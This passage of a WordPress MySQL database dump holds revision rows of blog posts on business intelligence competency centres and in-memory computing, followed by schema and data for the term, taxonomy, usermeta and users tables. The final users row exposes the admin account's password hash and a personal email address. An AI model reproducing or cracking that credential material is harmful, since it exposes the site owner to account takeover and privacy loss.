it?\r\n\r\n&nbsp;\r\n\r\n<strong>If the business unit wants to be an early adopter, but the IT unit is risk-averse and conservative, how does the business user drive this change?</strong>\r\n\r\nI’ve been around a while in this business. If there’s one thing I’ve heard over and over since I started in the 60s, it’s “IT has to communicate with the business”.  We’ve learned that lesson – that doesn’t work. Going out to dinner with your business liaison once a month and talking with them is nothing.\r\n\r\nSo one of the concepts that we came up with around twelve years ago, with respect to BI specifically, is the BI Competency Center. The reason that has worked is because it takes business people and IT people and puts them together, working together, not talking. So they make decisions together.\r\n\r\nIf I’m going to do a new project, all the business units decide what the priority project is. This is a concept that works. Some of your companies can’t afford to have full-time people in it, so you do it virtually: you have a meeting once a week. But they still manage projects, they still make buying decisions on products, they still set strategy for the company. The group should not be run by IT (which is hard to swallow sometimes) – but by the business unit. And most important: the CIO can not be the sponsor. It must be higher in the organization.\r\n\r\nSo if I’m going to have a “business technology competency center” where people from the business and the industry are going to get together to look at new technologies and where they may work, the sponsor has to be the CFO, the CEO, the Board, somebody like that. Then they will work together to do this.\r\n\r\n<strong>Risk-adverse IT organizations are normal.</strong> You have a job to do to keep the lights on and you’re not going to do it if you take risks. It’s that simple – you’re not going to have a job if you take risks.\r\n\r\nSo how do you fit that with adopting new technology? Again, just like with the research and development with one person, you can take a couple of people from your organization as part of this “business innovation competency center”, sponsored by the CEO, so you can go hire some new people to do it if you need to, or move people over and backfill them.\r\n\r\nThey may take on a project with a business unit where you see tremendous value to the business, and you look at something that is, say, in beta. And you look at that technology to enable that business unit to be more competitive, more productive, more profitable, and it doesn’t affect the rest of your organization. You still can deliver the things you’re doing, because it’s “outside”. How do you get to that? You have to get senior management in the organization – not the IT organization – behind you. How do you get that? A small project, to demonstrate to them the value of this kind of thing.\r\n\r\nNow one thing that comes to mind immediately: if you look at what’s happened in the past ten years with data warehousing – my area – every time there’s been a recession, database sales and data warehousing sales have dropped off. <em>Except</em> in the 2008/2009 worldwide recession, where every segment of IT was negative growth except DBMS, which was flat. In that environment, flat was positive.\r\n\r\nWhy? Because when the CIO came in to the CEO and said “I need more money to spend on my data warehouse” and the CEO says “are you nuts, with this economy?!”, you pointed to a flat screen on his wall that had key metrics of the business in “real-time” – for the first time, senior management, the CFO, COO, CEO, could physically see the value that information was bringing to their business.\r\n\r\nIf you can demonstrate physically to them the advantages of some new technology, then they’re going to buy into it and start to fund it. You can’t say something like “I want a new ERP package” – in an economy like 2009, that will get you fired for asking. But if you have some real strong value that you can demonstrate quickly or instantly to them, they’re going to spend money on it if they think it’s going to save money or help them. So that’s what you have to do. Lots of people say “only large companies can afford that” – but anybody can put it together with at couple of visionary people from the business units and one or two people from IT to put this together, and they can be virtual.\r\n\r\nPfizer is one of our BICC case studies. They have 150 people full time in the BI competency center: 75 employees and 75 consultants. Most people can’t afford to do that, and I’m not suggesting you do. But here are models in-between that make sense, that will fit in everybody’s budget.','Why You Need An In-Memory Action Plan','','inherit','open','open','','242-revision-v1','','','2014-07-23 13:31:27','2014-07-23 13:31:27','',242,'http://localhost/yalavarthitechnologies/blog/?p=264',0,'revision','',0),(266,1,'2014-07-23 13:34:54','2014-07-23 13:34:54','','business-impact-of-in-memory','','inherit','open','open','','business-impact-of-in-memory','','','2014-07-23 13:34:54','2014-07-23 13:34:54','',253,'http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/business-impact-of-in-memory.jpg',0,'attachment','image/jpeg',0),(267,1,'2014-07-23 13:37:04','2014-07-23 13:37:04','','taxonomy-of-in-memory_thumb','','inherit','open','open','','taxonomy-of-in-memory_thumb','','','2014-07-23 13:37:04','2014-07-23 13:37:04','',253,'http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/taxonomy-of-in-memory_thumb.jpg',0,'attachment','image/jpeg',0),(268,1,'2014-07-23 13:37:37','2014-07-23 13:37:37','','drivers-of-in-memory_thumb','','inherit','open','open','','drivers-of-in-memory_thumb','','','2014-07-23 13:37:37','2014-07-23 13:37:37','',253,'http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/drivers-of-in-memory_thumb.jpg',0,'attachment','image/jpeg',0),(269,1,'2014-07-23 13:41:19','2014-07-23 13:41:19','<strong>Summary:</strong>\r\n<h3>Business impact of in-memory computing</h3>\r\n<a href=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/business-impact-of-in-memory.jpg\"><img class=\"alignleft size-thumbnail wp-image-266\" alt=\"business-impact-of-in-memory\" src=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/business-impact-of-in-memory-150x150.jpg\" width=\"150\" height=\"150\" /></a>\r\n\r\nWhat is the impact of in-memory computing on your business? It’s about running the business, growing the business, and transforming the business, and you need to look at the business impact of this technology across all of these.\r\n<h3>Run the business</h3>\r\nOne of the biggest advantages of memory that people forget is this: right now, you have lots of applications. And today, people typically have one application per server. Let’s say you have your corporate running on ten servers today, and it’s spread out across locations, because of storage access and the speed of the processors and the speed of the applications and the database access.\r\n\r\nIf I can consolidate that down to a single server, I‘m going to save a lot of money, right off the bat. Not only power, floor space, cooling, but replacement costs every three to four years for ten or twenty servers is more than one. It’s not necessarily a single server — it may be one or two — but it’s going to be much fewer.\r\n\r\nThe people required to maintain it are going to be fewer, your maintenance costs per year are going to be less, everything is less. So the speed of these in-memory technologies on just running your business – forget about transforming for a minute – is going to be a huge savings. Because <strong>if one applications runs a hundred times faster on a server, I can get more applications on that server. </strong>\r\n\r\nWhen I said you you’re going to <a href=\"http://timoelliott.com/blog/2013/04/why-in-memory-computing-is-cheaper-and-changes-everything.html\" target=\"_blank\">run your whole business in-memory in 10 or 15 years</a>, I left off the fact that it’s going to be on a single server the size of what you think of as a desktop server, plugged into the wall with no special air conditioning needs. That’s the kind of miniaturization and speed that in-memory is bringing to the table, with huge savings.\r\n\r\nI know many of you are saying “he’s not talking about high availability or disaster recovery”. All of that is coming — and it also is miniaturized. You’re not going to run your business on one of these, you’re going to run your business on two of them, sitting next to each other, duplicating everything it does, synchronously. That’s your high availability. Then you’ll put another one somewhere else, in somebody’s home, 250 or 800 kilometers away, and that’s your disaster recovery center. You hire a disaster recovery manager in Perth, and put the disaster recovery in his house — that’s the way it will be in the future.\r\n<h3>Transform the business</h3>\r\nThe latency with in-memory is so low that you can <strong>do things synchronously that you wouldn’t have thought to do synchronously before</strong>. It’s not only a matter of how many things you can do, and how much you can fit into this box because of the speed, but it’s also because of what the latency is going to give you.\r\n\r\nWhy is that important? Think about where information and mobile and social come together, and you need to do messaging and things like that. Because of this lower latency, I can start to do things I couldn’t even consider before, because I couldn’t get it fast enough to even think about it.\r\n\r\nHow many of you may have applications that you thought about doing, but because things took so long on your system, it’s just not reasonable to do? I’m not talking about the demonstrable ones like if you’re in the manufacturing business, your MRP run takes four to six hours overnight, now you can run it in five seconds. So you can use the application differently.\r\n\r\nAnd other things that you couldn’t do at all now become possible. As we start to do sentiment analysis, looking at social networks, and building it into a planning application that I’m running in seconds, that’s huge in the way you can change your business.\r\n\r\nThink about if somebody says to you “I want to buy 10,000 cases” and you don’t even know if you can produce that. And then he says “I want it next week.”\r\n\r\nHow long does it take your company to commit to that, and to figure out a price, that may in fact be higher because I’m going to bounce other customers off the production line in order to get this done? If you can do that with a latency in seconds, it changes the way you do business.\r\n\r\nThat now is getting into “transform the business” because <strong>an application that you view as “a forecasting package that I run overnight” is not a just a forecasting package if I can run it in five seconds or two minutes. It becomes a sales tool</strong>, changing the way I’m doing business.\r\n\r\nThe example that I like to use is this: airlines want to sell you discount tickets. Most people don’t know that airlines re-price all the tickets on all their planes every night. So your company goes and buys a full-fare ticket because you need it refundable.\r\n\r\nThe next day, that flight may have two more discount tickets because they have a yield that they need for each plane, for each flight, so they can actually go through a whole calculation that tells them how many discount tickets they can have. Now, why is this valuable to them? Well, if you get on to, say, Qantas today and say “I want to go to Singapore and I want a discount ticket” and there are none on the day of the flight that you want, most of you wait until tomorrow to see if there are any, right?” Not true – most people don’t even know that happens. Instead, what you’re going to do is switch over to Singapore Airlines and if they have a ticket, you’re going to buy it and Qantas just lost the revenue.\r\n\r\nBut if Qantas could re-price every seat on every plane <em>every time a ticket was sold</em>, that business wouldn’t go away. If you had an application like that, which in-memory will allow you to do, and you went to the CEO of the airline and said “we have this application, do you want it?”, how much do you think they would be willing to pay? I’ll tell you — they won’t even ask how much it costs. That’s how much it transforms their business, and changes what they do. They’ll pay whatever you want.\r\n<h3>In-memory computing technologies</h3>\r\n<a href=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/taxonomy-of-in-memory_thumb.jpg\"><img class=\"alignleft size-thumbnail wp-image-267\" alt=\"taxonomy-of-in-memory_thumb\" src=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/taxonomy-of-in-memory_thumb-150x150.jpg\" width=\"150\" height=\"150\" /></a>\r\n\r\nSo far, we’ve been talking just about in-memory DBMS. Here are some of the other ways the technology is used.\r\n\r\n<strong>In-memory data grids </strong>have been around a long time. If any of you do web applications, you may be using some them. <a href=\"http://memcached.org/\" target=\"_blank\">Memcached</a> is the one that comes to mind – an open-source product – where your data’s in memory, in the application, and scales across multiple computers, multiple servers. That technology’s been around a long time and enables some of the biggest web applications that you’re all using, including Amazon, including eBay, and all the spinoffs of those.\r\n\r\n<strong>High-performance messaging infrastructure</strong>. Think about what happens if you want to send a message out to four or five thousand of your customers at a time. It’s an SMS message or whatever, in-memory’s going to be able to do that much quicker.\r\n\r\nWouldn’t it be nice if you’re an airline, and you’re cancelling a flight, to get those messages out quickly? Or, in retail, if you’re going to have a special pricing discount, you’re going to send out to all the customers registered on your site, and you’re a big retailer with one hundred thousand or a million customers, think about how high-performance messaging is going to happen.\r\n\r\n<strong>Complex event processing</strong>. That’s what fraud detection is all about, especially for cloned cell phones, for trading fraud, for credit-card fraud, for anything where some analysis is taking place on streaming data coming into a computer and in real-time. I make a decision on an event that’s happening, and then do something about it.\r\n\r\n<strong>In-memory application servers</strong>. These are necessary if you’re going to do this consolidation onto a single or double box of all your applications. Your application servers have to be in-memory, and they can’t be based on disk drives, or they’re not going to run as fast as all the other technology that is enabled with the applications running in the application server.\r\n\r\nAll of these together make up “in-memory technologies”. The providers of this technology are going to merge together and all of this is going to become an in-memory megadata platform over the next three to five years. Data grids are going to go away and just become part of the in-memory database. These two will be the first to merge, and they’re merging already with in-memory analytic applications and application servers.\r\n\r\nThat’s the future, as they merge together, which will enable you to run your whole business in memory.\r\n<h3>Drivers of in-memory computing</h3>\r\n<a href=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/drivers-of-in-memory_thumb.jpg\"><img class=\"alignleft size-thumbnail wp-image-268\" alt=\"drivers-of-in-memory_thumb\" src=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/drivers-of-in-memory_thumb-150x150.jpg\" width=\"150\" height=\"150\" /></a>\r\n\r\nSo what drives all this? Well, big data. Now remember “big data” is not just about volume. When we mention big data with respect to in-memory, people think we’re crazy, because big data is a lot of data, and people say “I’m not going to put a petabyte in memory: it’s too expensive!”\r\n\r\n“<strong>Big Data</strong>” is volume (big size) and/or velocity(how fast the data’s coming in) and/or the variety of data(unstructured data). In-memory can support velocity today, that’s one the first use case of it, high-speed data coming in through event processing, smart metering, etc. And it can support unstructured data. As the price comes down, as compression gets better, it’ll also get start to get larger and larger on volume of data.\r\n\r\n<strong>Real-time analytics.</strong> For years, Gartner has said there is no such thing as “real-time.” Today, you are running analytics on data that is coming from a transaction system. If I have to say it that way, there’s a latency there. Some ETL or data integration process has to move data from the transaction system to the data warehouse before you can do those analytics. The only way you can do real-time analytics is if it’s being done on the transaction data when it’s completed. So that is one of the drivers for this.\r\n\r\n<strong>24×7 with no batch windows</strong>. If you batch window drops to less than zero, you’re going to have to run things very quickly. Batch is going away. That Materials Requirement Planning batch run that takes six hours? If it starts to run in 3-4 seconds, it’s really no longer batch.\r\n\r\nSo the whole concept of batch disappears with in-memory technology. Any time you see words like “awareness” then you’re talking about in-memory. In order to make any applications aware of things it means real time, and it means you need the speed and low latency of in-memory technology to do it.\r\n<h3>Inhibitors of in-memory computing adoption</h3>\r\nSo what’s slowing us down?\r\n\r\nA lot of these are perceptions. So the perception that it’s a complex architecture: it doesn’t have to be.\r\n\r\nThe perception that it’s unrealistic: today, this technology is emerging, and yes, it’s disruptive, but no, you can’t do everything with it. So the expectations have to be set right. There are of course no standards, there aren’t a lot of skills and there’s not a lot of best practices yet, because this is just emerging with those. That will happen over the next few years.\r\n\r\nSo yes, there are many drivers, but at the same time there are many inhibitors, a lot of which you can change by setting expectations and perceptions correctly. So you start to think about IT looking at all this data and saying “what do I do with it all?” and the bottom line is: <strong>if your assumptions are that you can’t do anything with it, you’re not going to do anything with it.</strong>','The Business Impact of In-Memory Computing, From Run to Transform','','inherit','open','open','','253-revision-v1','','','2014-07-23 13:41:19','2014-07-23 13:41:19','',253,'http://localhost/yalavarthitechnologies/blog/?p=269',0,'revision','',0),(270,1,'2014-07-23 13:45:02','2014-07-23 13:45:02','','in-memory-myths3_thumb','','inherit','open','open','','in-memory-myths3_thumb','','','2014-07-23 13:45:02','2014-07-23 13:45:02','',256,'http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/in-memory-myths3_thumb.jpg',0,'attachment','image/jpeg',0),(271,1,'2014-07-23 13:46:14','2014-07-23 13:46:14','','what-is-in-memory_thumb','','inherit','open','open','','what-is-in-memory_thumb','','','2014-07-23 13:46:14','2014-07-23 13:46:14','',256,'http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/what-is-in-memory_thumb.jpg',0,'attachment','image/jpeg',0),(272,1,'2014-07-23 13:46:49','2014-07-23 13:46:49','<strong>Summary:</strong>\r\n<p dir=\"ltr\">What is In Memory Computing?</p>\r\n<p dir=\"ltr\">In-memory computing is the storage of information in the main random access memory (RAM)</p>\r\n<p dir=\"ltr\">Rather than in complicated relational databases operating on comparatively slow disk drives</p>\r\n\r\n<h3><b> </b></h3>\r\n<p dir=\"ltr\">What are the Uses of In Memory Computing?</p>\r\n<p dir=\"ltr\">In-memory computing helps business customers, including retailers, banks and utilities, to quickly detect patterns, analyze massive data volumes on the fly, and perform their operations quickly.</p>\r\n\r\n<h3><b> </b></h3>\r\n<p dir=\"ltr\">Why In Memory Computing increasingly popular now a days?</p>\r\n<p dir=\"ltr\">The drop in memory prices in the present market is a major factor contributing to the increasing popularity of in-memory computing technology.</p>\r\nCommon in-memory myths\r\n\r\n<a href=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/in-memory-myths3_thumb.jpg\"><img class=\"alignleft size-thumbnail wp-image-270\" alt=\"in-memory-myths3_thumb\" src=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/in-memory-myths3_thumb-150x150.jpg\" width=\"150\" height=\"150\" /></a>\r\n\r\nMyths:\r\n<ul>\r\n	<li><strong>Is in-memory hype spread by SAP</strong>? Not likely, because there are over 50 companies that have some type of in-memory technology.</li>\r\n	<li><strong>It’s new and unproven?</strong> Wrong. We have been using in-memory technology since the 90s. We’re not talking here about caching in-memory. We did that in with <a href=\"http://en.wikipedia.org/wiki/IBM_System/360\" target=\"_blank\">360s</a>, with only 24k of memory. In-memory technologies that actually use in-memory not for cache, but for actual data that they fetch and change, has been around since the early 90s.</li>\r\n	<li><strong>That in-memory technology is expensive and only if you have really deep pockets can you afford it?</strong> Not true. There are several in-memory technology vendors whose largest customer base is SME, who by definition doesn’t have a lot of money to spend. And the cost of the technology is coming down fast.</li>\r\n	<li><strong>And this is not a niche technology just for analytics</strong>. We’re using it for all kinds of use cases today, such as trading fraud in the financial industry, for telephone fraud, for gaming where everything has to be instantaneous. Analytics will run faster, but it is not true that it’s only for analytics.</li>\r\n</ul>\r\n<h3>In-memory is going to change the way you do everything</h3>\r\n<blockquote>In-memory computing will have a long term, disruptive impact by radically changing users’ expectations, application design principles, products’ architecture and vendors’ strategy</blockquote>\r\nThis is going to change the way you do everything. <strong>Everybody in this room will be running their entire IT organization in-memory in the next 15 to 20 years</strong>. It’s not going to happen overnight. But within the next 15 years, you will run your whole operation in memory. You won’t have tape drives, you won’t have disk drives. You’ll be using flash and memory. Flash will be your backup, your archive, and memory is where you’re going to run everything. And that’s absolutely a fact.\r\n<h3>What is in-memory computing?</h3>\r\n<a href=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/what-is-in-memory_thumb.jpg\"><img class=\"alignleft size-thumbnail wp-image-271\" alt=\"what-is-in-memory_thumb\" src=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/what-is-in-memory_thumb-150x150.jpg\" width=\"150\" height=\"150\" /></a>\r\n\r\nWhen we talk about in-memory computing, we are talking about DRAM: the “d” stands for destructive: it doesn’t hold data it if you lose power. It’s not about flash or NAND memory. Flash is a form of memory, but it’s not what we’re talking about when we talk about in-memory computing.\r\n\r\nAll forms of flash today are used like disk drives. Even though we may remove the controller as a bottleneck, the applications are still doing I/O to a flash drive or a flash board. It is getting much more reliable and cheaper, so it is going to become a persistence mechanism replacing disk.\r\n\r\nToday, the reliability of flash is longer than that of disk drives. If you replace your hardware every three to four years, and you have flash SSD and disk, you will probably not see a failure on the flash at all in that period of time, but I guarantee you that you will change disk drives.\r\n\r\nWhen we talk about in-memory, we are talking about the physical database being in-memory rather than as it is “traditionally” done: on disk.\r\n\r\nWhat is the difference? Database engines today do I/O. So if they want to get a record, they read. If they want to write a record, they write, update, delete, etc. The application, which in this case is a DBMS, thinks that it’s always writing to disk. If that record that they’re reading and writing happens to be in flash, it will certainly be faster, but it’s still reading and writing. Even if I’ve cached it in DRAM, it’s the same thing: I’m still reading and writing.\r\n\r\nWhat we’re talking about here is the actual database is physically in in-memory. I’m doing a fetch to get data and not a read. So the logic of the database changes. That’s what in-memory is about as opposed to the traditional types of computing.\r\n<h3>Why is it time for in-memory computing?</h3>\r\nWhy now? The most important thing is this: DRAM costs are dropping about 32% every 12 months. Things are getting bigger, and costs are getting lower. If you looked at the price of a Dell server with a terabyte of memory three years ago, it was almost $100,000 on their internet site. Today, a server with more cores — sixteen instead of twelve — and a terabyte of DRAM, costs less than $40,000.\r\n<h3>In-memory results in lower total cost of ownership</h3>\r\nSo the costs of this stuff is not outrageous. For those of you who don’t understand storage, I always get into this argument: the total cost of acquisition of an in-memory system is likely higher than a storage system. There’s no question. But the total cost of TCO is lower – because you don’t need storage people to manage memory. There are no LUNs [logical unit numbers]: all the things your storage technicians do goes away.\r\n\r\nPeople cost more than hardware and software – a lot more. So the TCO is lower. And also, by the way, power: one study IBM did showed that memory is 99% less power than spinning disks. So unless you happen to be an electric company, that’s going to mean a lot to you. Cooling is lower, everything is lower.<strong> </strong>\r\n\r\n<strong>So don’t let somebody say to you we can’t go in-memory because it’s so much more money. Acquisition costs may be higher. If you calculate out a TCO, it’s going to be less.</strong>','Why In-Memory Computing Is Cheaper And Changes Everything','','inherit','open','open','','256-revision-v1','','','2014-07-23 13:46:49','2014-07-23 13:46:49','',256,'http://localhost/yalavarthitechnologies/blog/?p=272',0,'revision','',0);

/*Table structure for table `wp_term_relationships` */

CREATE TABLE `wp_term_relationships` (
  `object_id` bigint(20) unsigned NOT NULL DEFAULT '0',
  `term_taxonomy_id` bigint(20) unsigned NOT NULL DEFAULT '0',
  `term_order` int(11) NOT NULL DEFAULT '0',
  PRIMARY KEY (`object_id`,`term_taxonomy_id`),
  KEY `term_taxonomy_id` (`term_taxonomy_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

/*Data for the table `wp_term_relationships` */

insert  into `wp_term_relationships`(`object_id`,`term_taxonomy_id`,`term_order`) values (68,1,0),(72,7,0),(75,8,0),(83,8,0),(85,8,0),(88,8,0),(90,7,0),(93,8,0),(95,8,0),(96,7,0),(100,7,0),(103,7,0),(105,8,0),(107,8,0),(108,8,0),(111,7,0),(112,8,0),(114,1,0),(116,8,0),(120,7,0),(122,7,0),(124,8,0),(127,7,0),(129,7,0),(132,8,0),(134,7,0),(137,8,0),(139,8,0),(142,7,0),(145,7,0),(147,8,0),(150,8,0),(152,8,0),(155,7,0),(158,7,0),(160,8,0),(161,9,0),(164,7,0),(167,7,0),(169,7,0),(172,9,0),(174,8,0),(176,7,0),(178,8,0),(181,8,0),(183,7,0),(186,7,0),(187,7,0),(191,8,0),(194,7,0),(196,7,0),(199,7,0),(200,7,0),(204,7,0),(207,7,0),(208,7,0),(212,7,0),(214,7,0),(218,7,0),(220,7,0),(221,7,0),(225,8,0),(227,9,0),(229,7,0),(231,7,0),(234,7,0),(237,7,0),(240,7,0),(242,7,0),(253,7,0),(256,7,0);

/*Table structure for table `wp_term_taxonomy` */

CREATE TABLE `wp_term_taxonomy` (
  `term_taxonomy_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `term_id` bigint(20) unsigned NOT NULL DEFAULT '0',
  `taxonomy` varchar(32) NOT NULL DEFAULT '',
  `description` longtext NOT NULL,
  `parent` bigint(20) unsigned NOT NULL DEFAULT '0',
  `count` bigint(20) NOT NULL DEFAULT '0',
  PRIMARY KEY (`term_taxonomy_id`),
  UNIQUE KEY `term_id_taxonomy` (`term_id`,`taxonomy`),
  KEY `taxonomy` (`taxonomy`)
) ENGINE=InnoDB AUTO_INCREMENT=10 DEFAULT CHARSET=utf8;

/*Data for the table `wp_term_taxonomy` */

insert  into `wp_term_taxonomy`(`term_taxonomy_id`,`term_id`,`taxonomy`,`description`,`parent`,`count`) values (1,1,'category','',0,1),(2,2,'nav_menu','',0,0),(7,7,'category','',0,42),(8,8,'category','',0,24),(9,9,'category','',0,3);

/*Table structure for table `wp_terms` */

CREATE TABLE `wp_terms` (
  `term_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `name` varchar(200) NOT NULL DEFAULT '',
  `slug` varchar(200) NOT NULL DEFAULT '',
  `term_group` bigint(10) NOT NULL DEFAULT '0',
  PRIMARY KEY (`term_id`),
  UNIQUE KEY `slug` (`slug`),
  KEY `name` (`name`)
) ENGINE=InnoDB AUTO_INCREMENT=10 DEFAULT CHARSET=utf8;

/*Data for the table `wp_terms` */

insert  into `wp_terms`(`term_id`,`name`,`slug`,`term_group`) values (1,'Uncategorized','uncategorized',0),(2,'custm_menu','custm_menu',0),(7,'Web Technology','web-technology',0),(8,'Project Learnings','project-learnings',0),(9,'Mobile Technology','mobile-technology',0);

/*Table structure for table `wp_usermeta` */

CREATE TABLE `wp_usermeta` (
  `umeta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `user_id` bigint(20) unsigned NOT NULL DEFAULT '0',
  `meta_key` varchar(255) DEFAULT NULL,
  `meta_value` longtext,
  PRIMARY KEY (`umeta_id`),
  KEY `user_id` (`user_id`),
  KEY `meta_key` (`meta_key`)
) ENGINE=InnoDB AUTO_INCREMENT=27 DEFAULT CHARSET=utf8;

/*Data for the table `wp_usermeta` */

insert  into `wp_usermeta`(`umeta_id`,`user_id`,`meta_key`,`meta_value`) values (1,1,'first_name',''),(2,1,'last_name',''),(3,1,'nickname','admin'),(4,1,'description',''),(5,1,'rich_editing','true'),(6,1,'comment_shortcuts','false'),(7,1,'admin_color','fresh'),(8,1,'use_ssl','0'),(9,1,'show_admin_bar_front','true'),(10,1,'wp_capabilities','a:1:{s:13:\"administrator\";b:1;}'),(11,1,'wp_user_level','10'),(12,1,'dismissed_wp_pointers','wp330_toolbar,wp330_saving_widgets,wp340_choose_image_from_library,wp340_customize_current_theme_link,wp350_media,wp360_revisions,wp360_locks'),(13,1,'show_welcome_panel','1'),(14,1,'wp_dashboard_quick_press_last_post_id','71'),(15,1,'managenav-menuscolumnshidden','a:4:{i:0;s:11:\"link-target\";i:1;s:11:\"css-classes\";i:2;s:3:\"xfn\";i:3;s:11:\"description\";}'),(16,1,'metaboxhidden_nav-menus','a:3:{i:0;s:8:\"add-post\";i:1;s:12:\"add-post_tag\";i:2;s:15:\"add-post_format\";}'),(17,1,'nav_menu_recently_edited','2'),(18,1,'closedpostboxes_page','a:0:{}'),(19,1,'metaboxhidden_page','a:5:{i:0;s:12:\"postimagediv\";i:1;s:10:\"postcustom\";i:2;s:16:\"commentstatusdiv\";i:3;s:7:\"slugdiv\";i:4;s:9:\"authordiv\";}'),(20,1,'meta-box-order_page','a:3:{s:4:\"side\";s:36:\"submitdiv,pageparentdiv,postimagediv\";s:6:\"normal\";s:63:\"pages,postcustom,commentstatusdiv,commentsdiv,slugdiv,authordiv\";s:8:\"advanced\";s:0:\"\";}'),(21,1,'screen_layout_page','2'),(22,1,'closedpostboxes_post','a:0:{}'),(23,1,'metaboxhidden_post','a:6:{i:0;s:11:\"postexcerpt\";i:1;s:13:\"trackbacksdiv\";i:2;s:10:\"postcustom\";i:3;s:16:\"commentstatusdiv\";i:4;s:7:\"slugdiv\";i:5;s:9:\"authordiv\";}'),(24,1,'tribe_setDefaultNavMenuBoxes','1'),(25,1,'wp_user-settings','libraryContent=browse&align=left&urlbutton=none&imgsize=thumbnail&editor=tinymce'),(26,1,'wp_user-settings-time','1405944147');

/*Table structure for table `wp_users` */

CREATE TABLE `wp_users` (
  `ID` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `user_login` varchar(60) NOT NULL DEFAULT '',
  `user_pass` varchar(64) NOT NULL DEFAULT '',
  `user_nicename` varchar(50) NOT NULL DEFAULT '',
  `user_email` varchar(100) NOT NULL DEFAULT '',
  `user_url` varchar(100) NOT NULL DEFAULT '',
  `user_registered` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `user_activation_key` varchar(60) NOT NULL DEFAULT '',
  `user_status` int(11) NOT NULL DEFAULT '0',
  `display_name` varchar(250) NOT NULL DEFAULT '',
  PRIMARY KEY (`ID`),
  KEY `user_login_key` (`user_login`),
  KEY `user_nicename` (`user_nicename`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;

/*Data for the table `wp_users` */

insert  into `wp_users`(`ID`,`user_login`,`user_pass`,`user_nicename`,`user_email`,`user_url`,`user_registered`,`user_activation_key`,`user_status`,`display_name`) values (1,'admin','$P$B52sNV2HXT.Gwac.qxlsZE.r9tSSbm1','admin','nnnagaraju740@gmail.com','','2013-08-26 05:31:47','',0,'admin');

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
